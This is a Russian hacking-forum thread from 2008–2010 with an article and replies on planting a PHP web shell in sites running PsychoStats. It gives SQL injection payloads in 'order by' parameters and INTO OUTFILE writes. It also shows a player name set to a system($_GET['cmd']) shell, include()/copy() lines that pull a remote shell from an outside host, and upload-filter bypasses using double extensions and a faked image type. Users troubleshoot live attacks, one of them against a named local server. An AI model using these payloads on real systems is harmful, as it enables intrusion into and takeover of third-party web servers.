Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Заливаем шелл через PsychoStats (https://forum.antichat.xyz/showthread.php?t=57890)

AFoST 08.01.2008 23:59

Заливаем шелл через PsychoStats
 
Здравствуйте, предлагаю Вашему вниманию статью про то, как залить шелл на сайт через игровую статистику PsychoStats.
Статья, по-существу, является описанием к видео .
Главной проблемой в заливке шелла через эту игровую статистику является нахождение пути к папке с правами на запись.

Если Вы нашли сайт с такой статой и нашли полный путь к папке с определёнными правами, тогда вам повезло и можно залить шелл :)
И так, по шагам...
Сперва мне пришла в голову идея как-либо полезно воспользоваться паблик "сплойтом" для этой игровой статы...
Код:

http://www.example.com/[path]/server.php?newcss=styles.css&newtheme=%00
Попробовал на локальном сайте, ввёл в броузерную строку сплойт и получил кучу ошибок, после чего стата больше не открывалась в принципе =\...Не зная в чем дело, попросил помощи в соответствующем разделе на ачате :) Правда, ответа так и не получил, зато мне дали толчок найти другие дыры(спасибо Scipio), собственноручно нашёл уже ранее найденные уязвимости в стате. Это были sql-inj после "order by".
Код:

/player.php?id=1093&ssort=(-skill*1)&sorder=desc#plrsessions
/clan.php?id=3&psort=(-deaths*1)&porder=desc

Далее хочу сказать спасибо Noiro, он предложил использовать подзапросы в этих скулях, что я и сделал.
Код:

/player.php?id=1093&ssort=(-skill*(select 1))&sorder=desc#plrsessions
/clan.php?id=3&psort=(-deaths*(select 1))&porder=desc

На удивление, эти скули работали =\ После чего я решил попробовать записать запрос в файл на сервере...
Код:

/player.php?id=1093&ssort=(-skill*(select 1 into outfile '/path/file.txt'))&sorder=desc#plrsessions
Файл создался и в него было записано следующее...
Код:

1191849001        1191849415        7405.11        4        4        1.00        2        50.00        0        0        0.00        0        0.00        593        53        11        13.25        20.75        0        414
1191852522        1191854127        7283.30        22        10        2.20        10        45.45        0        0        0.00        0        0.00        3262        261        77        11.86        29.50        0        1605
1191938597        1191938813        7195.62        2        2        1.00        1        50.00        0        0        0.00        1        50.00        404        32        10        16.00        31.25        0        216
1192130752        1192130937        7067.62        2        0        2        2        100.00        0        0        0.00        0        0.00        229        51        8        25.50        15.69        0        185
1192024974        1192026895        7038.66        38        18        2.11        4        10.53        0        0        0.00        0        0.00        4999        289        85        7.61        29.41        1        1921

Это статистика некоторого пользователя с id=1093. Как видно записались одни цифры =( После этой неудачи я решил записать запрос в файл через другую скулю(а вдуг чего изменится!!!)...
Код:

/clan.php?id=3&psort=(-deaths*(select 1 into outfile 'd:/system/server/www/info/inet2/2.txt'))&porder=desc
Получил в файле такую лабуду...
Код:

1093        1093        2007-04-06        2007-09-30        21.24        0        11        8        72.73        36        90.00        40        2.91        28        2.04        308        0        82        377        314        374        333        29.50        88582        607        16        6        0.99        5        0.86        76        0        172        29.45        2284        0        0        0        0        31        584        25        0.96        0.72        1191141416        48366        3        25.00        1373        10751        18.41        3        580        617        495        796        70.50        117        12        0        0        0        1093        167840198        1175835726        3        1        2        7136.22        10000.00        1198267271        1        167840198        \N        [@_oFF_D]~TURIK.<awp>~                                                                        0        \N        \N
1105        1105        2007-04-26        2007-06-02        21.72        0        17        10        58.82        44        88.00        50        1.79        37        1.32        209        0        133        713        683        562        534        33.40        253615        1462        24        17        1.16        16        0.92        130        0        602        34.56        6452        0        0        0        0        32        1742        20        1.19        1.01        1180795626        103380        0        0.00        2799        29702        17.05        10        909        1224        712        1065        66.60        177        12        0        0        0        1105        167840029        1177607393        3        32        33        4230.00        10000.00        1197207865        1        167840029        \N        [@_oFF_D]-=TURIK=-                                                                        0        \N        \N
23        23        2006-04-16        2007-12-16        19.32        0        37        22        59.46        426        88.02        484        1.66        390        1.33        3160        0        1263        6261        8781        5542        7798        41.72        2144771        11281        23        99        0.88        136        0.95        1173        0        4327        30.38        58846        0        0        0        0        40        14241        55        1.26        1.12        1197827019        761210        33        17.65        29223        304526        21.38        62        7654        9540        8698        10894        58.28        1644        187        1        0        0        23        167840133        1145209176        3        49        50        3612.55        3782.04        1197827019        1        167840133        \N        [@_oFF_D]_[@$PeR]                                                skull.gif                        0        \N        \N

Помимо всякой чуши из циферок, в файле я нашёл имена мемберов клана с id=3(префикс которого=[@_oFF_D]). Потом мне пришло в голову , что если я состою в клане, то назвавшись, к примеру, "<? system($cmd) ?>", я залью это в файл и получу шелл!!! Благо на имена пользователей в этой стате никаких ограничений не стоит и я так и сделал. Шелл залился, всё прошло замечательно!

С наилучшими пожеланиями, FoST 8(тире)794(тире)038
(с) FoST
08.01.2008, 23:00

Статья впервые опубликована здесь на ачате.

Scipio 09.01.2008 00:16

можно и проще сделать,
Цитата:

/clan.php?id=3&psort=deaths limit 1,1 into outfile 'blablabla'/*
лимит подобрать такой,который указывает на твоего пользователя с шеллом
непробовал но скорее всего можно, причем нужно конечно иметь file_priv пользователя мускула

Spyder 09.01.2008 00:16

будет работать если у юзера есть файл прив, а вообще интересно)

AFoST 09.01.2008 00:29

Цитата:

Сообщение от Scipio
можно и проще сделать,
лимит подобрать такой,который указывает на твоего пользователя с шеллом
непробовал но скорее всего можно, причем нужно конечно иметь file_priv пользователя мускула

Ну да...Тоже вариант. Я когда убедился что в скулях после order by выполняются подзапросы очень удивился :) Поэтому всё делал исключительно через них...

NAT_uu 09.01.2008 11:06

А есть ещё статьи по взлому этой Психостаты?

AFoST 09.01.2008 13:28

NAT_uu, хз может и есть =)

ice1k 09.01.2008 13:38

Цитата:

Сообщение от NAT_uu
А есть ещё статьи по взлому этой Психостаты?

google: PsychoStats + vuln

Tyc00n 09.01.2008 14:31

Обязательно указывать полный путь до папки с правами? Ведь на всех статистиках возможна запись в папку /images , /images/maps/ . Может можно просто
Код:

/player.php?id=1093&ssort=(-skill*(select 1 into outfile '/images/file.txt'))&sorder=desc#plrsessions
?

Scipio 09.01.2008 14:45

обязательно полный путь, если путь вобще не указывать, то он зальет в текущую папку, т.е. в ту где хранятся файлы базы данных, а они из веба недоступны т.е. поумалчанию файлы заливаются в папку с файлами базы данных

AFoST 09.01.2008 15:01

Можно попробовать через текущую папку
outfile './../../..path/file.txt')
..path=путь к дире доступной для чтения извне. Но там придётся или подбирать этот самый путь или же использовать заранее найденную локальную php-inj.

Spyder 09.01.2008 15:08

папка с базами мускула как правило находится далеко от папок веба, поэтому
вот это
outfile './../../..path/file.txt')
бесполезно \n =)
а уж если есть локал пшп инж, то проще залить в /tmp , в неё то всегда записать можно)

m0nzt3r 17.01.2008 14:05

Там еще можно иконку заливать в профиле (Хотя я не везде видел).Так вот, вместо нее заливаем пхп скрипт ) Только не помню, называем 1.ico.php - так кажется

heks 17.01.2008 15:35

не могу зарегать юзера что надо в поле Player Name: когда вписываю имя у меня не регится а пишет только Unique ID does not exist что делать ?

AFoST 17.01.2008 17:54

Т.к. большинство ников в стате висят только потому, что с ними играли в самой игре кс, то можно взять и зарегать этот ник на себя :) Чтобы залить шелл обязательно нужно состоять в клане! Так что регай ник, который уже состоит в клане. Если так не получится, тогда заходи в игру, поиграй чуток и в клан войди :)

nightmare007 22.01.2008 23:44

я звиняюсь у мя проблемы с мускульными запросами:

Цитата:

...сlan.php?id=3&psort=(-deaths*(select 1 into outfile 'd:/system/...
поясните плз сдесь в файл по пути d:/system/.... записывается эм.. инфа о участниках клана...

я прошу пояснить так как у меня возникла проблема ... как понял для того чтобы пхп-шлл заработал.... надо вывисти в файл одну строку с пхп-имем 1-ого участника клана...

а у мя в файл выводится инфа о всех пользователях клана и врезультате запуска шела выкидывает страничку с ошибкой

Цитата:

Warning: system() [function.system]: Cannot execute a blank command in W:\www\cs\3.php on line 1

123@ya.ru 0 \N \N 74 70 2008-01-05 2008-01-10 16.52 0 1 1 100.00 3 75.00 4 1.68 1 0.42 17 0 130 42 26 32 28 41.18 9312 105 9 0 0.00 2 3.33 31 0 12 20.00 340 0 0 0 0 0 60 5 0.57 0.27 1199981440 13496 0 0.00 238 2058 34.30 0 63 34 47 40 58.82 11 0 0 0 0 70 [клан]ник 1199539878 8 1558 1539 8647.34 9028.42 1199981440 1 [клан]ник 58

Warning: system() [function.system]: Cannot execute a blank command in W:\www\cs\3.php on line 2
123@mail.ru 1 \N \N

Плз ..подскажите что не так делаю...

п.с.
на этом примере

Цитата:

http://сайт/cs/clan.php?id=8&psort=(-deaths*(select 1 into outfile 'w:/www/cs/123.txt'))&porder=desc

AFoST 23.01.2008 00:08

Для того, чтобы пхп-шелл заработал надо, чтобы в тексте оказалась строчка <?php system($cmd);?> Да, в этом когда записываешь через into outfile, в файле оказывается информация о всех участниках. Имя одного из них(любого) должно быть как раз-таки шеллом. php-код обрабатывается как язык программирования, только лишь в случае встречи спецтегов <? ... ?>
Запиши в ТХТ файл и покажи, что у тебя там записалось.

Spyder 23.01.2008 01:01

nightmare007, запускай скрипт так
http://сайт/cs/3.php?cmd=[команда]
например
http://сайт/cs/3.php?cmd=id

У тебя в ошибке написано
Cannot execute a blank command in W:\www\cs\3.php on line 1
Невозможно выполнить пустую команду, т к ты не задал переменную $cmd

ty13r 23.01.2008 01:11

а для какой версии PsychoStats все это проходит то?

AFoST 23.01.2008 01:15

Которая в статье - "Powered by PsychoStats v3.0.6b © 2006".
А чтобы узнать уязвима стата или нет, проведи скл-инъекцию после 'order by'.

nightmare007 23.01.2008 03:15

вот что в текстовом файле:


Цитата:

2458 2488 2008-01-10 2008-01-10 13.05 0 0 0 0.00 0 0.00 0 0.00 0 0.00 0 0 3 31 26 28 19 100.00 1700 31 9 2 6.45 0 0.00 3 0 4 15.38 50 0 0 0 0 0 26 4 0.84 0.38 1199984503 4141 0 0.00 51 383 14.73 0 0 0 0 0 0.00 -18 0 0 0 0 2488 CyCLiK[LG] 1199979967 145 1314 603 9345.09 10000.00 1199984503 1 CyCLiK[LG] \N CyCLiK[LG] BY 0 BY Belarus
2401 2431 2008-01-10 2008-01-10 17.69 0 0 0 0.00 5 71.43 7 4.64 3 1.99 9 0 444 14 11 12 10 15.63 8985 82 5 0 0.00 0 0.00 18 0 20 28.57 256 0 0 0 0 0 70 5 0.85 0.38 1199988075 10994 0 0.00 151 1447 20.67 0 68 59 36 54 84.38 49 0 0 0 0 2431 KyJIu6a[LG] 1199965668 145 1254 969 9470.87 10000.00 1199988075 1 KyJIu6a[LG] 62 <?php system($cmd);?> 123@maill.ru BY 0 BY Belarus

обратил внимание на <?php system($cmd);?> точку с запятой ..d);?>.. но без результатно что с ней что без неё показывает ошибку и всотут

Scipio 23.01.2008 03:27

а там регистр глобалс включен?
тебе надо вот это вписывать:
<?php system($_GET['cmd']);?> причем это лучше захекисть в sql запросе

nightmare007 23.01.2008 03:40

Scipio о млин точно ...куль сеньк всем...

слу ... а как терь нормальный пхп файлик закинуть на машину... плз подкинь идею

Scipio 23.01.2008 03:54

<?php include("http://путь до шелла");?>
или
<?php copy("http://путь до шелла","shelcheng.php");?>
это тоже в хекс исли вариант с copy то он шелл скопирует в текущую папку
а с инклюдом и так все понятно

Lordick 01.02.2008 13:23

драсьте.
у нас есть отдельный "сервер" для игр. виден есессно только в локалке, соответственно адрес 172.17.1.11, так же на сайт можно пройти по сцыле http://games.k26.ru (опять же только в локалке)

психостатс расположен в http://172.17.1.11/stats
попробовал сплоит с первой страницы - теперь по http://172.17.1.11/stats/ выдет кучу ошибок и ничего не открыват, по http://games.k26.ru/stats/ все отлично открывается.

пробовал как в видео. в общем не могу понять. куда можно залить файл. выяснил полный путь сайта. c:/inetpub/wwwroot/stats. видно что это iis. пытался залить файл куда только можно, ничего не получается. может быть потому, что остальные директории запрещены на заливку файлов.
так же есть http://games.k26.ru/wow (сервер вов). так же пытался туда залить - безуспешно.

и вот думаю - куда лить файл? :) существуют ли стандартные директории в iis, куда можно лить файлы?

AFoST 01.02.2008 14:02

Lordick, найти папку на которую точно есть доступ на запись. Такие папки обычно являются папками хранения всяких аватаров, картинок, вложений и тп. Поищи такие папки в психостате. Если есть форум, посмотри там такую папку.
А вообще, я смотрю сервер на винде стоит, там нет таких разграничений на прав, как в *никсах и все папки открыты на запись. Magic Quotes может быть включен=>фильтруются ковычки=>запрос некорректен.

.Striker 04.02.2008 20:07

помогите как слить шелл с удаленного серва?
папку с правами нашел.

InFlame 17.06.2009 17:03

Заливка шелла в PsychoStats
 
Нашёл способ...
Заходим в админку > значки, переименовываем шелл в что-то типо shell.PHP.hgfgif, заливаем. Главное чтобы расширение оканчивалось на gif ;) Вот собственно и получаем шелл [path]/images/icons/shell.PHP.hgfgif.

Объясняю как это происходит:
движок проверяет только три последних символа в расширении файла, поэтому делаем такое расширение PHP.hgfgif, предварительно поставив расширение .PHP. и он этот файл легко пропускает. Для Apach'а расширение .hgfgif неизвестно и поэтому он смотрит на расширение левее и интерпретирует его как php-скрипт!
Проверяйте: может и на других двигах сработает...

LStr1ke 02.04.2010 21:29

Короче такая ситуация.
Получил доступ к админке.
SQL которые были описаны до этого не работают.
Зашел в админку, добавил расширение для картинок - png, jpg, gif, php
Так. Теперь в icons (где заливать файлы). Такие методы, как менять расширение, как сказал InFlame - file.PHP.asdgif - не катят. Нашел только такой способ:
Залил себе на сайт файл. script.php и решил его сразу залить через Upload From URL. - вывел ошибку The URL does not point to an image. Немного подумал. Сделал содержимое файла таким:
PHP код:

<?php
header
('Content-type: image/php');
echo 
'OK!';
?>

Теперь скормил его Upload From URL и файл успешно залился. Переш на него - site.ru/stats/img/icons/script.php и Мне вывело OK!
Я обрадовался, начал кормить туда шелл. Но ВОТ ТАКАЯ БЕДА!
Содержимое файла оказывается таким, как он выполняется на моем хосте. Тоесть. Если я напимер сделаю <?php system('dir'); ?> То на хосте жертвы будет красоваться содердимое моего хоста.
Файл получается статичным.
Прошу помощи ))))))))))))))

l1ght 02.04.2010 22:05

echo '<?phpinfo();?>'; ?
/add по сабжу, дописать свои данные в файл из подзапроса можно так
order by (select 1 into outfile 'lala' lines terminated by 'php')
или вообще обойтись без подзапроса (выйдет даже короче)

LStr1ke 02.04.2010 22:13

Цитата:

Сообщение от l1ght
echo '<?phpinfo();?>'; ?

:-* :-* :-* :-*


Время: 12:05